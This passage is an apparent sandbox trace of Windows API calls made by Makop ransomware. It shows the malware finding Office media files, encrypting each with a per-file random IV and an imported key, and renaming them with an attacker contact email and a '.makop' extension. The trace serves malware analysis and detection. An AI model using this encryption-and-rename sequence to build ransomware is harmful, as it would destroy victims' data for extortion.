lpOverlapped=0x0) returned 1 [0163.770] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dd0, dwBufLen=0x4dd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dd0) returned 1 [0163.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4dd0, lpOverlapped=0x0) returned 1 [0163.771] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.771] SetEndOfFile (hFile=0xf0) returned 1 [0163.777] GetProcessHeap () returned 0x48a0000 [0163.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.777] GetProcessHeap () returned 0x48a0000 [0163.778] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.778] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.779] CloseHandle (hObject=0xf0) returned 1 [0163.779] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0163.779] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG") returned 61 [0163.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.780] GetProcessHeap () returned 0x48a0000 [0163.780] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.780] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0163.785] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.785] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.785] GetProcessHeap () returned 0x48a0000 [0163.786] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.786] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.787] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.787] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.787] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x62e3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x62e3, lpOverlapped=0x0) returned 1 [0163.796] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62f0, dwBufLen=0x62f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62f0) returned 1 [0163.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x62f0, lpOverlapped=0x0) returned 1 [0163.801] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x63c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.801] SetEndOfFile (hFile=0xf0) returned 1 [0163.809] GetProcessHeap () returned 0x48a0000 [0163.809] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.809] GetProcessHeap () returned 0x48a0000 [0163.810] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.810] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.814] CloseHandle (hObject=0xf0) returned 1 [0163.815] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0163.815] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF") returned 61 [0163.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.817] GetProcessHeap () returned 0x48a0000 [0163.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.817] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0163.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.823] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.823] GetProcessHeap () returned 0x48a0000 [0163.823] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.823] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.824] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.824] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.824] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.824] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7876, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7876, lpOverlapped=0x0) returned 1 [0163.826] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7880, dwBufLen=0x7880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7880) returned 1 [0163.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7880, lpOverlapped=0x0) returned 1 [0163.827] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.828] SetEndOfFile (hFile=0xf0) returned 1 [0163.835] GetProcessHeap () returned 0x48a0000 [0163.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.835] GetProcessHeap () returned 0x48a0000 [0163.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.835] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.837] CloseHandle (hObject=0xf0) returned 1 [0163.837] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0163.837] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF") returned 61 [0163.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.839] GetProcessHeap () returned 0x48a0000 [0163.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0163.843] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.843] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.843] GetProcessHeap () returned 0x48a0000 [0163.843] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.843] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.843] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.843] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.844] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.844] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.844] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.845] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.845] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30e4, lpOverlapped=0x0) returned 1 [0163.847] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0) returned 1 [0163.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.847] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30f0, lpOverlapped=0x0) returned 1 [0163.847] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.848] SetEndOfFile (hFile=0xf0) returned 1 [0163.854] GetProcessHeap () returned 0x48a0000 [0163.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.854] GetProcessHeap () returned 0x48a0000 [0163.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.861] CloseHandle (hObject=0xf0) returned 1 [0163.861] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0163.861] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF") returned 61 [0163.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.865] GetProcessHeap () returned 0x48a0000 [0163.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.865] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.869] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.869] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.869] GetProcessHeap () returned 0x48a0000 [0163.869] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.869] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.869] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 